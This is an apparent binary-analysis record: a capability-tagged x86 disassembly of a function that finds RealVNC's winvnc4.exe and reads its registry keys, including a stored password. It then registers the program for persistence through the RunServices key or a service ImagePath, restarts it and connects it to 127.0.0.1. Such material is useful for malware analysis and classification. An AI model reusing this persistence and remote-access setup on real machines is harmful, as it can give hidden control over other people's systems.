Function at 0x405a00
Capabilities:
Persist via run registry key
Query environment variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x840
push esi
push edi
xor eax, eax
mov ecx, 0x23
lea edi, [esp + 0x2a8]
mov dword [esp + 0x2a0], 0x94
mov dword [esp + 0x2a4], 0
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x338]
rep stosd dword es:[edi], eax
cmp dword [ebp + 8], 2
jne 0x405a96
mov eax, dword [str.ShowStatus0__service]
mov ecx, dword [0x41e774]
mov edx, dword [0x41e778]
mov dword [esp + 0x338], eax
mov eax, dword [0x41e77c]
mov dword [esp + 0x33c], ecx
mov ecx, dword [0x41e780]
mov dword [esp + 0x340], edx
mov dx, word [0x41e784]
mov dword [esp + 0x344], eax
mov dword [esp + 0x348], ecx
mov word [esp + 0x34c], dx
xor eax, eax
mov ecx, 0x42
lea edi, [esp + 0x438]
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x405aca
cmp byte [eax], 0
je 0x405aca
push 0x107
push eax
lea eax, [esp + 0x440]
push eax
call fcn.00410bf0
add esp, 0xc
jmp 0x405b16
push 0x107
lea ecx, [esp + 0x43c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x438]
push 0x5c
push edx
call fcn.00410d80
add esp, 8
test eax, eax
je 0x405afb
mov byte [eax + 1], 0
jmp 0x405b16
mov ax, word [0x41e76c]
mov cl, byte [0x41e76e]
mov word [esp + 0x438], ax
mov byte [esp + 0x43a], cl
push 0x303
lea edx, [esp + 0x544]
push edx
push str.windir
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jle 0x405b3f
mov al, byte [esp + 0x540]
mov byte [esp + 0xf], al
jmp 0x405b44
mov byte [esp + 0xf], 0x63
push str.winvnc4.exe
call fcn.00407130
add esp, 4
mov dword [0x4266dc], eax
xor eax, eax
jmp 0x405b60
mov cl, byte [esp + eax + 0x438]
mov byte [eax + 0x4267f0], cl
inc eax
test cl, cl
jne 0x405b60
mov edi, 0x4267f0
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x405b78
mov ecx, dword [str.winvnc4.exe]
mov edx, dword [0x41e75c]
mov eax, dword [0x41e760]
mov dword [edi], ecx
mov dword [edi + 4], edx
mov dword [edi + 8], eax
xor eax, eax
mov ecx, 0x42
mov edi, 0x4266e8
rep stosd dword es:[edi], eax
mov ecx, 0x10
mov esi, str.SOFTWAREMicrosoftWindowsCurrentVersionUninstallRealVNC_is1
lea edi, [esp + 0x98]
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x10]
push ecx
push 0x4266e8
lea edx, [esp + 0x1c]
push edx
push str.Inno_Setup:_App_Path
lea eax, [esp + 0xa8]
push eax
push reloc.WSOCK32.dll_bind
mov dword [0x4266d8], 0
mov dword [esp + 0x28], 0x107
call fcn.0040a680
add esp, 0x18
test eax, eax
jne 0x405c50
mov eax, dword [esp + 0x14]
cmp eax, 1
je 0x405c07
cmp eax, 2
jne 0x405c50
mov eax, 0x4266e8
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405c10
sub eax, edx
cmp eax, 1
jl 0x405c50
mov edi, 0x4266e8
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x405c24
mov ecx, dword [0x41e6ec]
mov edx, dword [0x41e6f0]
mov eax, dword [0x41e6f4]
mov dword [edi], ecx
mov cl, byte [0x41e6f8]
mov dword [edi + 4], edx
mov dword [edi + 8], eax
mov byte [edi + 0xc], cl
jmp 0x405c5e
mov ecx, 0x42
xor eax, eax
mov edi, 0x4266e8
rep stosd dword es:[edi], eax
xor eax, eax
mov ecx, 0xc1
lea edi, [esp + 0x540]
rep stosd dword es:[edi], eax
mov ecx, 6
mov esi, str.SOFTWARERealVNCWinVNC4
lea edi, [esp + 0x98]
rep movsd dword es:[edi], dword [esi]
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x544]
push eax
lea ecx, [esp + 0x1c]
push ecx
push str.Password
lea edx, [esp + 0xa8]
push edx
push reloc.WSOCK32.dll_bind
mov dword [esp + 0x28], 0x303
movsb byte es:[edi], byte [esi]
call fcn.0040a680
add esp, 0x18
test eax, eax
jne 0x405cd5
cmp dword [esp + 0x14], 3
jne 0x405cd5
mov eax, dword [esp + 0x10]
test eax, eax
jle 0x405cd5
mov dword [0x4266d8], 1
jmp 0x405cea
mov eax, dword [0x4266d8]
test eax, eax
jne 0x405cea
mov eax, dword [ebp + 8]
push eax
call fcn.00405300
add esp, 4
mov eax, dword [0x4266dc]
test eax, eax
je 0x405d40
mov al, byte [0x4266e8]
test al, al
je 0x405d10
push 0x4266e8
push str.__s___stop
lea ecx, [esp + 0xa0]
push ecx
jmp 0x405d22
push 0x4267f0
push str.__s___stop
lea edx, [esp + 0xa0]
push edx
call fcn.00411276
add esp, 0xc
push 0xa
push 1
lea eax, [esp + 0xa0]
push eax
push 0
call fcn.0040a140
add esp, 0x10
lea ecx, [esp + 0x2a0]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [esp + 0x2b0], 2
jne 0x405d84
mov edx, dword [str.ImagePath]
mov eax, dword [0x41e6bc]
mov ecx, 0xa
mov esi, str.SYSTEMCurrentControlSetServicesWinVNC4
lea edi, [esp + 0x98]
rep movsd dword es:[edi], dword [esi]
mov cx, word [0x41e6c0]
mov word [esp + 0x20], cx
jmp 0x405da2
mov edx, dword [str.WinVNC4]
mov eax, dword [0x41e688]
mov ecx, 0xd
mov esi, str.SOFTWAREMicrosoftWindowsCurrentVersionRunServices
lea edi, [esp + 0x98]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov dword [esp + 0x1c], eax
xor eax, eax
mov ecx, 0xc1
lea edi, [esp + 0x540]
rep stosd dword es:[edi], eax
mov dword [esp + 0x18], edx
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x544]
push edx
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x24]
push ecx
lea edx, [esp + 0xa8]
push edx
push reloc.WSOCK32.dll_bind
mov dword [esp + 0x28], 0x303
call fcn.0040a680
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x18
test eax, eax
jne 0x405e53
mov eax, dword [esp + 0x10]
test eax, eax
jle 0x405e53
mov eax, dword [esp + 0x14]
cmp eax, 1
je 0x405e15
cmp eax, 2
je 0x405e15
cmp eax, 7
jne 0x405e53
push 0x4267f0
lea eax, [esp + 0x9c]
push str.__s___unregister
push eax
mov dword [0x4266e0], 1
call fcn.00411276
push 0xa
push 1
lea ecx, [esp + 0xac]
push ecx
push 0
call fcn.0040a140
add esp, 0x1c
push 0xbb8
call esi
push 0x4267f0
lea edx, [esp + 0x9c]
push str.__s___register
push edx
call fcn.00411276
push 0xa
push 1
lea eax, [esp + 0xac]
push eax
push 0
call fcn.0040a140
add esp, 0x1c
push 0x7d0
call esi
cmp dword [ebp + 8], 2
push 0x4267f0
jne 0x405ea1
push str.__s__ShowStatus0__start
lea ecx, [esp + 0xa0]
push ecx
jmp 0x405eae
push str.__s___start
lea edx, [esp + 0xa0]
push edx
call fcn.00411276
add esp, 0xc
push 5
push 1
lea eax, [esp + 0xa0]
push eax
push 0
call fcn.0040a140
add esp, 0x10
push 0xbb8
call esi
lea ecx, [esp + 0x338]
push ecx
push 0x4267f0
lea edx, [esp + 0xa0]
push str.__s___s__connect_127.0.0.1
push edx
call fcn.00411276
push 0
push 0
lea eax, [esp + 0xb0]
push eax
push 0
call fcn.0040a140
add esp, 0x20
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret